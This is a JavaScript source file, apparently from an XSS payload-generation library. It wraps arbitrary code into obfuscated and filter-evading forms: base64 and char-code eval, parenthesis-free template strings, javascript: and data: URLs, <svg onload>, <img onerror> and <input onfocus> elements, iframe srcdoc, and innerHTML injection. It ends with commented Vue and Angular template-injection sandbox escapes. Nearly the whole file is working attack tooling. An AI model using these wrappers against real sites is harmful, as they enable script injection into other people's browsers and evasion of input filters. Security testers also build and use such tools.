import { repr } from "./utils.js"
import Payload from "./Payload.js"
/**
* @param {*} tag
*/
function isSelfClosing(tag) {
// hacky way to determine if the element is self closing
return document.createElement(tag).outerHTML.match(/</g).length == 1
}
function dataUrl(value, mime = "", encoding = "") {
return `data:${mime};${encoding},${encodeURIComponent(value)}`
}
function dataUrl64(value, mime = "") {
return dataUrl(btoa(value), mime, "base64")
}
function jsUrl(value) {
return `javascript:${encodeURIComponent(value)}`
}
function createStringElement(tagName, attributes) {
// I use a fake element to prevent event from firing, like {src:"a", onerror:"alert"}
// I don't think you can trigger an event on a custom element not yet inserted to the DOM
const randomKey = Math.floor(Math.random() * 10e16).toString(16)
const tag = `_${randomKey}_`
const el = document.createElement(tag)
for (const [name, attribute] of Object.entries(attributes)) {
el.setAttribute(name, attribute)
}
let html = el.outerHTML
if (isSelfClosing(tagName)) {
// strip the closing tag + html markup ></TAG>
// and fix the closing markup
html = html.slice(0, -(tag.length + 4)) + "/>"
}
return html.replace(new RegExp(tag, "g"), tagName)
}
/**
* Used to wrap your {@link Payload}
* @class
* @property {Wrapper | null} parent
* @property {Function | null} wrapper
* @property {String | null} payload
*
*/
class Wrapper {
/**
*
* Used internally<br>
* Use [Wrapper.new]{@link Wrapper.new} instead.
*
* @param {Wrapper} parent The parent wrapper
* @param {function} wrapper The actual wrapper function
*/
constructor(parent = null, wrapper = null) {
this.parent = parent
this.wrapper = wrapper
}
/**
* Create a [Wrapper_JS]{@link Wrapper_JS} Object
* @graph ($current) {} -> $Wrapper_JS
* @return {Wrapper_JS}
*/
static new(){
return new Wrapper_JS()
}
/**
* Wrap a payload or a string and return it a as string
*
* @param {Payload | String} payload Payload to wrap
* @example
*
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new()
* const code = w.wrap(p)
*
* eval(code)
* @graph $Wrapper -> {} ($current) {} -> {} (String)
* @return {string}
*/
wrap(payload) {
const code = payload instanceof Payload ? payload.run() : payload.toString()
return this._compile(code)
}
_compile(payload) {
const code = this.parent ? this.parent._compile(payload) : payload
return this.wrapper ? this.wrapper(code) : code
}
}
/**
* Represent a payload in javascript format
* @augments Wrapper
* @alias Wrapper_JS
* @class
* @inheritdoc
*/
class Wrapper_JS extends Wrapper {
/**
* Transform any js code into a template string payload without parenthesis.
*
*
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @example
*
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().templateString()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
templateString() {
return new Wrapper_JS(this, code => `Function\`_\${atob\`${btoa(code)}\`}\`\`\``)
}
/**
* Transform any js code into an eval(atob()) payload.
*
*
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @example
*
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().evalB64()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
evalB64() {
return new Wrapper_JS(this, code => `eval(atob(${repr(btoa(code))}))`)
}
/**
* Transform any js code into an eval(String.fromCharCode(42, 42, ...)) payload.
*
*
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @example
*
* const p = Payload.new().evalStringForCharCode(() => alert(1))
* const w = Wrapper.new().evalB64()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
evalStringForCharCode() {
return new Wrapper_JS(this, code => `eval(String.fromCharCode(${Array.from(code).map(x=>x.charCodeAt(0)).join(",")}))`)
}
/**
* Transform any js code into a javascript: pseudo url.
*
*
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JSUrl
* @example
*
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().url()
*
* document.location = w.wrap(p)
* @returns {Wrapper_JSUrl}
*/
url() {
return new Wrapper_JSUrl(this, code => jsUrl(code))
}
/**
* Transform any js code into a data: base64 encoded pseudo url.
*
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JSDataUrl
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().dataUrl64()
*
* const s = document.createElement('script')
* s.src = w.wrap(p)
* document.body.appendChild(s)
* @returns {Wrapper_JSDataUrl}
*/
dataUrl64() {
return new Wrapper_JSDataUrl(this, code => dataUrl64(code, "application/javascript"))
}
/**
* Transform any js code into a data: pseudo url.
*
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JSDataUrl
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().dataUrl()
*
* const s = document.createElement('script')
* s.src = w.wrap(p)
* document.body.appendChild(s)
* @returns {Wrapper_JSDataUrl}
*/
dataUrl() {
return new Wrapper_JSDataUrl(this, code => dataUrl(code, "application/javascript"))
}
/**
* Transform any js code into a <script> element.
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().script()
*
* const i = document.createElement('iframe')
* s.srcdoc = w.wrap(p)
* document.body.appendChild(i)
* @returns {Wrapper_HTML}
*/
script() {
return new Wrapper_HTML(this, code => {
return `<script>${code.replace(/<\/script>/g, "<\\/script>")}</script>`
})
}
/**
* Transform any js code into an document.appendChild(script) payload.
* @param {string} [selector="body"] Css selector for the parent element
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().appendScript()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
appendScript(selector = "body") {
return new Wrapper_JS(this, code => `document.querySelector(${repr(selector)}).appendChild(Object.assign(document.createElement("script"), {innerHTML: ${repr(code)}}))`)
}
event(tag, eventName) {
return new Wrapper_HTML(this, code => createStringElement(tag, { [eventName]: code }))
}
/**
* Transform any js code into a <svg onload> payload.
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().svgLoad()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
svgLoad() {
return new Wrapper_HTML(this, code => createStringElement('svg', { onload: code }))
}
/**
* Transform any js code into a <img onerror> payload.
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().imgError()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
imgError() {
return new Wrapper_HTML(this, code => createStringElement('img', { src: "x:", alt: "", onerror: code }))
}
/**
* Transform any js code into a <input onfocus> payload.
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().inputFocus()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
inputFocus() {
return new Wrapper_HTML(this, code => createStringElement('input', { autofocus: "true", onfocus: code }))
}
/**
* Minify the js code with uglify-js
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().minify()
*
* eval(w.wrap(p))
*/
minify(){
if (!window.minify){
throw Error("uglify-js is not available, use utils.loadUglify() before calling this function.")
}
return new Wrapper_JS(this, code => window.minify(code).code)
}
/**
* Add a prefix to a payload
* @param {String} prefix Prefix to add to the current payload
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @returns {Wrapper_JS}
*/
prepend(prefix){
return new Wrapper_JS(this, code => `${prefix}${code}`)
}
/**
* Add a sufix to a payload
* @param {String} sufix Sufix to add to the current payload
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @returns {Wrapper_JS}
*/
append(sufix){
return new Wrapper_JS(this, code => `${code}${sufix}`)
}
/**
* Add a prefix and a sufix to a payload
* @param {String} prefix Prefix to add to the current payload
* @param {String} sufix Sufix to add to the current payload
* @graph $Wrapper_JS -> {} ($current) {} -> $Wrapper_JS
* @returns {Wrapper_JS}
*/
enclose(prefix, sufix){
return this.prepend(prefix).append(sufix)
}
}
/**
* Represent a payload in javascript: url format
* @augments Wrapper
* @alias Wrapper_JSUrl
* @class
* @inheritdoc
*/
class Wrapper_JSUrl extends Wrapper {
/**
* Transform any javascript url into a <iframe src> payload.
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().url().iframe()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
iframe() {
return new Wrapper_HTML(this, code => createStringElement('iframe', { src: code }))
}
/**
* Transform any javascript url into a <object src> payload.
* @graph $Wrapper_JSUrl -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().url().object()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
object() {
return new Wrapper_HTML(this, code => createStringElement('object', { data: code }))
}
/**
* Transform any javascript url into a <embed src> payload.
* @graph $Wrapper_JSUrl -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().url().embed()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
embed() {
return new Wrapper_HTML(this, code => createStringElement('embed', { data: code }))
}
/**
* Transform any javascript url into a javascript redirect payload.
* @graph $Wrapper_JSUrl -> {} ($current) {} -> $Wrapper_JS
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().url().Wrapper_JS()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
redirect() {
return new Wrapper_JS(this, code => `window.location=${repr(code)}`)
}
}
/**
* Represent a javascript payload in data: url format
* @augments Wrapper
* @alias Wrapper_JSDataUrl
* @class
* @inheritdoc
*/
class Wrapper_JSDataUrl extends Wrapper {
/**
* Transform any javascript data url into a <script src> payload.
* @graph $Wrapper_JSDataUrl -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().dataUrl().script()
*
* const i = document.createElement('iframe')
* s.srcdoc = w.wrap(p)
* document.body.appendChild(i)
* @returns {Wrapper_HTML}
*/
script() {
return new Wrapper_HTML(this, code => createStringElement('script', { src: code }))
}
/**
* Transform any javascript data url into a <script src> import payload.
* @graph $Wrapper_JSDataUrl -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().dataUrl().scriptImport()
*
* const i = document.createElement('iframe')
* s.srcdoc = w.wrap(p)
* document.body.appendChild(i)
* @returns {Wrapper_HTML}
*/
scriptImport() {
return new Wrapper_HTML(this, code => `<script>import(${repr(code)})</script>`)
}
}
/**
* Represent an HTML payload in data: url format
* @augments Wrapper
* @alias Wrapper_HTMLDataUrl
* @class
* @inheritdoc
*/
class Wrapper_HTMLDataUrl extends Wrapper {
/**
* Transform any html data url into a <iframe src> payload.<br>
* <b> The XSS will trigger on about:blank</b>
* @graph $Wrapper_HTMLDataUrl -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().script().dataUrl().iframe()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
iframe() {
return new Wrapper_HTML(this, code => createStringElement('iframe', { src: code }))
}
/**
* Transform any html data url into a window.open payload.<br>
* <b> The XSS will trigger on about:blank</b>
* @graph $Wrapper_HTMLDataUrl -> {} ($current) {} -> $Wrapper_JS
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().script().dataUrl().windowOpen()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_JS}
*/
windowOpen() {
return new Wrapper_JS(this, code => `window.open(${repr(code)})`)
}
}
/**
* Represent a payload in HTML format
* @augments Wrapper
* @alias Wrapper_HTML
* @class
* @inheritdoc
*/
class Wrapper_HTML extends Wrapper {
/**
* Transform any html into a <iframe srcdoc> payload.
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_HTML
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().script().iframe()
*
* document.body.innerHTML = w.wrap(p)
* @returns {Wrapper_HTML}
*/
iframe() {
return new Wrapper_HTML(this, code => createStringElement('iframe', { srcdoc: code }))
}
/**
* Transform any html into a document.write payload.
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_JS
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().script().write()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
write() {
return new Wrapper_JS(this, code => `document.write(${repr(code)})`)
}
/**
* Transform any html into a el.innerHTML= payload.
* @param {string} [target="body"] CSS selector for the parent element.
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_JS
* @example
* const p = Payload.new().eval(() => alert(1))
* const w = Wrapper.new().script().innerHTML()
* const c = w.wrap(p)
*
* eval(c)
* @returns {Wrapper_JS}
*/
innerHTML(target = "body") {
return new Wrapper_JS(this, code => `document.querySelector(${repr(target)}).innerHTML = ${repr(code)}`)
}
/**
* Transform any html into a data url base64 encoded payload.
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_HTMLDataUrl
* @returns {Wrapper_HTMLDataUrl}
*/
dataUrl64() {
return new Wrapper_HTMLDataUrl(this, code => dataUrl64(code, "text/html"))
}
/**
* Transform any html into a data url payload.
* @returns {Wrapper_HTMLDataUrl}
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_HTMLDataUrl
*/
dataUrl() {
return new Wrapper_HTMLDataUrl(this, code => dataUrl(code, "text/html"))
}
/**
* Add a prefix to a payload
* @param {String} prefix Prefix to add to the current payload
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_HTML
* @returns {Wrapper_HTML}
*/
prepend(prefix){
return new Wrapper_HTML(this, code => `${prefix}${code}`)
}
/**
* Add a sufix to a payload
* @param {String} sufix Sufix to add to the current payload
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_HTML
* @returns {Wrapper_HTML}
*/
append(sufix){
return new Wrapper_HTML(this, code => `${code}${sufix}`)
}
/**
* Add a prefix and a sufix to a payload
* @param {String} prefix Prefix to add to the current payload
* @param {String} sufix Sufix to add to the current payload
* @graph $Wrapper_HTML -> {} ($current) {} -> $Wrapper_HTML
* @returns {Wrapper_HTML}
*/
enclose(prefix, sufix){
return this.prepend(prefix).append(sufix)
}
}
export default Wrapper
/*
vue3() {
return new Wrapper(this, code => `{{_openBlock.constructor('${code.replace(/'/g, "\\'")}')()}}`)
}
vue2() {
return new Wrapper(this, code => `{{constructor.constructor('${code.replace(/'/g, "\\'")}')()}}`)
}
angular() {
return new Wrapper(this, code => `{{constructor.constructor('${code.replace(/'/g, "\\'")}')()}}`)
}
*/